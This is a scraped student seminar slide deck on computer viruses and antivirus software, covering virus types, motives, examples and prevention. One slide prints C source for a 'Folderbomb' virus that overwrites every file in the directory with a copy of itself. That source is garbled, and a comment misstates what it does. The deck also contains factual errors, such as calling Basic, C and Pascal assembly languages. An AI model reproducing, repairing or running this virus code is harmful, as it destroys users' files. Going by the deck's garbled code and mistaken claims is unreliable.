Computer viruses and anti viruses by sasikumar

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  • 1.Contents Intentional Overview Definition of Computer Virus ? Who creates/writes viruses ? Why people creates computer viruses? How can they write virus codes? Effects by virus Infection How virus works Major Types of Viruses Boot Sector Virus Examples for Viruses Virus Prevention Conclusion

2. Intentional Overview 3. A Computer Virus is a computer program What is a Computer Virus ? that can copy itself and infect a computer Without permission or knowledge of the user. 4. Who creates/writes viruses ? 1.INFO ATTACKERS 5. Who creates/writes viruses ? 6. Who creates/writes viruses ? 7. Who creates/writes viruses ? INFO ATTACKERS 8. Why people creates computer viruses? To attack the products of specific companies. To theft the confidential info. To distribute political messages. Some virus writers consider their creations to be works of art, and see virus writing as a 9. How can they write virus codes? By using Assembly languages like Basic, c, Pascal e.t.c 10. What will happen if your computer Infected by virus Functions slower than normal Responds slowly and freezes often Restarts itself often See uncommon error messages, distorted menus, and dialog boxes 11. How virus works 12. Major Types of Viruses Virus Boot Sector Virus Boot Sector Virus Program/ File Infector Program/ File Infector Trojan Horses Trojan Horses WormsWorms Macro Viruses Macro Viruses Root KitRoot Kit 13. The boot virus affects the booting process of the infected computer system. thus causing slow start up and shut down process Boot Sector Virus 14. Program/ File Infector virusBecomes active when the program file carrying the virus is opened. usually with below extensions .BIN .COM .EXE .OVL .DRV 15. Appears as interesting program file but when installed it allows intruders to access and read your files Trojan Horses 16. Copies and multiplies it self by using computer networks and security flaws Worms 17. Programmed as a macro embedded in a document, usually found in Microsoft Word and Excel. Macro Virus 18. Designed to take fundamental control of a computer system, without authorization by the system's owners RootKit 19. Two examples for Viruses Melissa Type : Macro virus I Love You Type : worm 20. #include #include #include #include #include void main(int argc,char* argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf( ); printf(nVirus: Folderbomb 1.0nProgrammer: BAS Unnikrishnan(; cprintf( ); done = findfirst(*.*,&ffblk,0); while (!done) { printf(n); cprintf( %s , ffblk.ff_name); printf(is attacked by ); cprintf(Folderbomb); source=open(argv[0],O_RDONLYO_BINARY); target=open(ffblk.ff_name,O_CREATO_BINARY O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); } /*This is a simple virus program to create a virus in c It will create Folder in a Folder in a Folder and so on ......*/ 21. Virus Prevention 22. Sources of Viruses Removable Data Storage Devises Internet 23. Anti-Virus 24. How does an Anti-Virus work ? Scanner: Detects the virus by using a list of existing virus signature/definitions. Monitors: These are memory resident programs and alert when any changes find in executable program. INTEGRITY CHECKING PROGRAMS: To execute any virus must integrate with a executable it checks for virus code integration 25. Better than Conclusion Prevention is Cure 26. Thank you A seminar by sasi